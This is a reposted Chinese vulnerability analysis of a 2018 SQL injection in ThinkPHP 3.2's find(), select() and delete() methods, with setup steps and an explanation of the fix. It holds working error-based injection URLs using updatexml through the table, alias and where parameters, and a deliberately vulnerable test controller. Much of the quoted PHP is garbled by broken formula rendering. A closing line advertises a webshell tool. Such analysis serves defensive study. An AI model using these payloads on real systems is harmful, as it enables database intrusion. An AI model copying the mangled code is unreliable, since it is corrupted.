ThinkPHP3.2 框架sql注入漏洞分析(最新)

在這裏插入圖片描述

作者:水泡泡(阿里雲先知社區)
0x00 前言
北京時間 2018年8月23號11:25分 星期四,tp團隊對於已經停止更新的thinkphp 3系列進行了一處安全更新,經過分析,此次更新修正了由於select(),find(),delete()方法可能會傳入數組類型數據產生的多個sql注入隱患。

0x01 漏洞復現
下載源碼:

git clone https://github.com/top-think/thinkphp.git
使用git checkout 命令將版本回退到上一次commit:

git checkout 109bf30254a38651c21837633d9293a4065c300b
使用phpstudy等集成工具搭建thinkphp,修改apache的配置文件httpd-conf
DocumentRoot “” 爲thinkphp所在的目錄。
在這裏插入圖片描述

重啓phpstudy,訪問127.0.0.1,輸出thinkphp的歡迎信息,表示thinkphp已正常運行。
在這裏插入圖片描述
搭建數據庫,數據庫爲tptest,表爲user,表裏面有三個字段id,username,pass
在這裏插入圖片描述
修改Application\Common\Conf\config.php配置文件,添加數據庫配置信息。
在這裏插入圖片描述
之後在Application\Home\Controller\IndexController.class.php 添加以下代碼:

public function test()
{
$id = i(‘id’);
res=M(user)>find(res = M('user')->find(id);
//res=M(user)>delete(res = M('user')->delete(id);
//res=M(user)>select(res = M('user')->select(id);
}
針對select() 和find()方法 ,有很多地方可注,這裏主要列舉三個table,alias,where,更多還請自行跟蹤一下parseSql的各個parseXXX方法,目測都是可行的,比如having,group等。

table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)–

alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)–

where:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)–

在這裏插入圖片描述

而delete()方法的話同樣,這裏粗略舉三個例子,table,alias,where,但使用table和alias的時候,同時還必須保證where不爲空(詳細原因後面會說)

where:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)–

alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)–

table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)–&id[where]=1
在這裏插入圖片描述

0x02 漏洞分析
通過github上的commit 對比其實可以粗略知道,此次更新主要是在ThinkPHP/Library/Think/Model.class.php文件中,其中對於delete,find,select三個函數進行了修改。

delete函數
在這裏插入圖片描述
select函數
在這裏插入圖片描述
find函數
在這裏插入圖片描述

對比三個方法修改的地方都有一個共同點:

把外部傳進來的optionsoptions,修改爲this->options,同時不再使用this>parseOptionsthis->_parseOptions對於options進行表達式分析。

思考是因爲$options可控,再經過_parseOptions函數之後產生了sql注入。

一 select 和 find 函數
以find函數爲例進行分析(select代碼類似),該函數可接受一個$options參數,作爲查詢數據的條件。

當$options爲數字或者字符串類型的時候,直接指定當前查詢表的主鍵作爲查詢字段:

if (is_numeric(options)isstring(options) || is_string(options)) {
where[where[this->getPk()] = $options;
$options = array();
$options[‘where’] = $where;
}
同時提供了對複合主鍵的查詢,看到判斷:

if (is_array(KaTeX parse error: Expected 'EOF', got '&' at position 10: options) &̲& (count(options) > 0) && is_array(pk))//......滿pk)) { // 根據複合主鍵查詢 ...... } 要進入複合主鍵查詢代碼,需要滿足options爲數組同時$pk主鍵也要爲數組,但這個對於表只設置一個主鍵的時候不成立。

那麼就可以使$options爲數組,同時找到一個表只有一個主鍵,就可以繞過兩次判斷,直接進入_parseOptions進行解析。

if (is_numeric(options)isstring(options) || is_string(options)) {//$options爲數組不進入
where[where[this->getPk()] = $options;
$options = array();
$options[‘where’] = $where;
}
// 根據複合主鍵查找記錄
$pk = this>getPk();if(isarray(this->getPk(); if (is_array(options) && (count(KaTeX parse error: Expected 'EOF', got '&' at position 15: options) > 0) &̲& is_array(pk)) { //$pk不爲數組不進入

}
// 總是查找一條記錄
$options[‘limit’] = 1;
// 分析表達式
$options = this>parseOptions(this->_parseOptions(options); //解析表達式
// 判斷查詢緩存

$resultSet = this>db>select(this->db->select(options); //底層執行
之後跟進_parseOptions方法,(分析見代碼註釋)

if (is_array(KaTeX parse error: Expected '}', got 'EOF' at end of input: options)) { //當options爲數組的時候與$this->options數組進行整合
options=arraymerge(options = array_merge(this->options, $options);
}

    if (!isset($options['table'])) {//判斷是否設置了table 沒設置進這裏
        // 自動獲取表名
        $options['table'] = $this->getTableName();
        $fields           = $this->fields;
    } else {
        // 指定數據表 則重新獲取字段列表 但不支持類型檢測
        $fields = $this->getDbFields(); //設置了進這裏
    }

    // 數據表別名
    if (!empty($options['alias'])) {//判斷是否設置了數據表別名
        $options['table'] .= ' ' . $options['alias']; //注意這裏,直接拼接了
    }
    // 記錄操作的模型名稱
    $options['model'] = $this->name;

    // 字段類型驗證
    if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //讓$optison['where']不爲數組或沒有設置不進這裏
        // 對數組查詢條件進行字段類型檢查
       ......
    }
    // 查詢過後清空sql表達式組裝 避免影響下次查詢
    $this->options = array();
    // 表達式過濾
    $this->_options_filter($options);
    return $options;

optionsoptions我們可控,那麼就可以控制爲數組類型,傳入options[‘table’]或$options[‘alias’]等等,只要提層不進行過濾都是可行的。

同時我們可以不設置options[where]options[‘where’]或者設置options[‘where’]的值爲字符串,可繞過字段類型的驗證。

可以看到在整個對KaTeX parse error: Expected 'EOF', got '\Libray' at position 35: …回,跟進到底層ThinkPHP\̲L̲i̲b̲r̲a̲y̲\Think\Db\Diver…options的值進行替換,解析。

因爲options[table]options[‘table’]或options[‘alias’]都是由parseTable函數進行解析,跟進:

if (is_array(tables))////......elseif(isstring(tables)) {//爲數組進 // 支持別名定義 ...... } elseif (is_string(tables)) {//不爲數組進
tables=arraymap(array(tables = array_map(array(this, ‘parseKey’), explode(’,’, $tables));
}
return implode(’,’, $tables);
當我們傳入的值不爲數組,直接進行解析返回帶進查詢,沒有任何過濾。

同時$options[‘where’]也一樣,看到parseWhere函數

whereStr=;if(isstring(whereStr = ''; if (is_string(where)) {
// 直接使用字符串條件
$whereStr = KaTeX parse error: Expected 'EOF', got '}' at position 31: …沒有任何過濾 }̲ else { …whereStr) ? ‘’ : ’ WHERE ’ . $whereStr;
二 delete函數

delete函數有些不同,主要是在解析完optionsoptions之後,還對options[‘where’]判斷了一下是否爲空,需要我們傳一下值,使之不爲空,從而繼續執行刪除操作。


// 分析表達式
$options = this>parseOptions(this->_parseOptions(options);
if (empty(KaTeX parse error: Expected '}', got 'EOF' at end of input: …{ //注意這裏,還判斷了一下options[‘where’]是否爲空,爲空直接返回,不再執行下面的代碼。
// 如果條件爲空 不進行刪除操作 除非設置 1=1
return false;
}
if (is_array(KaTeX parse error: Expected 'EOF', got '&' at position 19: …ions['where']) &̲& isset(options[‘where’][$pk])) {
$pkValue = options[where][options['where'][pk];
}

    if (false === $this->_before_delete($options)) {
        return false;
    }
    $result = $this->db->delete($options);
    if (false !== $result && is_numeric($result)) {
        $data = array();
        if (isset($pkValue)) {
            $data[$pk] = $pkValue;
        }

        $this->_after_delete($data, $options);
    }
    // 返回刪除記錄個數
    return $result;

0x03 漏洞修復
不再分析由外部傳進來的options,使options,使得不再可控options[‘xxx’]。
xise菜刀 http://caidaome.com/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章